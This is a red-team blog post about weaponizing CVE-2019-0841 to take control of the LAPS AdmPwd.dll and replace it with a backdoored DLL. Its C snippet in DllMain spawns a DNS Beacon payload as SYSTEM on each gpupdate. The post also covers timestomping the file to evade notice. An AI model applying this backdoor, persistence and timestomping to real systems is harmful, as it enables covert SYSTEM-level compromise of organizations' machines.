On April 9, Nabeel Ahmed annouced details of CVE-2019-0841 - the tl;dr being that it allows low privileged users to take Full Control of files owned by NT AUTHORITY\SYSTEM
, which can lead to EoP. Nabeel published a comprehensive blog describing the vulnerability, PoC code and a video demonstration.
The video shows a low priv user taking control of psmachine.dll
and popping a SYSTEM
shell via the Google Chrome Update Service. However, the PoC code only goes as far as taking control of the target file, meaning we have to complete the weaponization ourselves (which is no bad thing). I was working with RythmStick on a small engagement, so we decided to give it a go.
We quickly reproduced the Google Update Service takeover on a test system and verified we could pop shells. Our target machines did have Chrome installed but the update service was disabled, so the modified DLL would not fire. RythmStick went off in search of other candidates that we could use and eventually mentioned LAPS.
We already know some ways in which we can abuse the LAPS AdmPwd.dll
, but this time we created a DLL that would actually spawn us some shellz.
In our little walkthrough there, we have an HTTP Beacon running as a low priv user. This user is not a local admin.
First, let’s verify the DACL on AdmPwd.dll
to demonstrate that we don’t currently have control over it.
Nabeel’s PoC is written in C, so we have to upload it to the target to run.
Checking the DACL a second time, we verify that we have now indeed got control over that file.
You can place the backdoor pretty much anywhere you like inside AdmPwd.dll
, depending on the conditions under which you want it to trigger. We opted to slide it into DllMain
so it would run on each gpupdate
, though I think putting it inside the password reset block would be a more interesting long haul persistence mechanism.
And because I suck at C
, I just did a very simple CreateProcess
that would run a customised TikiTorch payload from disk. This contains a stageless DNS Beacon payload.
void Backdoor()
{
STARTUPINFO sInfo;
PROCESS_INFORMATION pInfo;
RtlSecureZeroMemory(&sInfo, sizeof(sInfo));
RtlSecureZeroMemory(&pInfo, sizeof(pInfo));
sInfo.cb = sizeof(sInfo);
GetStartupInfoW(&sInfo);
CreateProcess(L"C:\\Windows\\System32\\Tasks\\TikiSpawn.exe", NULL, NULL, NULL, FALSE, NULL, NULL, L"C:\\Windows\\System32",
&sInfo, &pInfo);
CloseHandle(pInfo.hProcess);
CloseHandle(pInfo.hThread);
return;
}
//DllMain, Installation, Uninstallation
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason, LPVOID lpReserved) {
if(ul_reason==DLL_PROCESS_ATTACH) {
Backdoor();
hDll=(HINSTANCE)hModule;
}
return TRUE;
}
Overwriting the DLL is as simple as cd
ing into C:\Program Files\LAPS\CSE
and upload
ing the new one.
As a bit of a bonus, you can also timestomp
the DLL back to something that looks more reasonable. If the LAPS UI is also installed, timestomping to AdmPwd.Utils.dll
seemed to work well.
Note that 04/13/2019
on the CSE
directory is the date of the LAPS installation.
After a gpupdate, we get a DNS Beacon.
This is how the Beacon looks in Process Explorer. It seems there are some nuances when messing with processes as SYSTEM
that meant I couldn’t immediately get PPID’ing to work. Maybe that’s for another day.
And after a number of hours, we have a bunch of Beacons.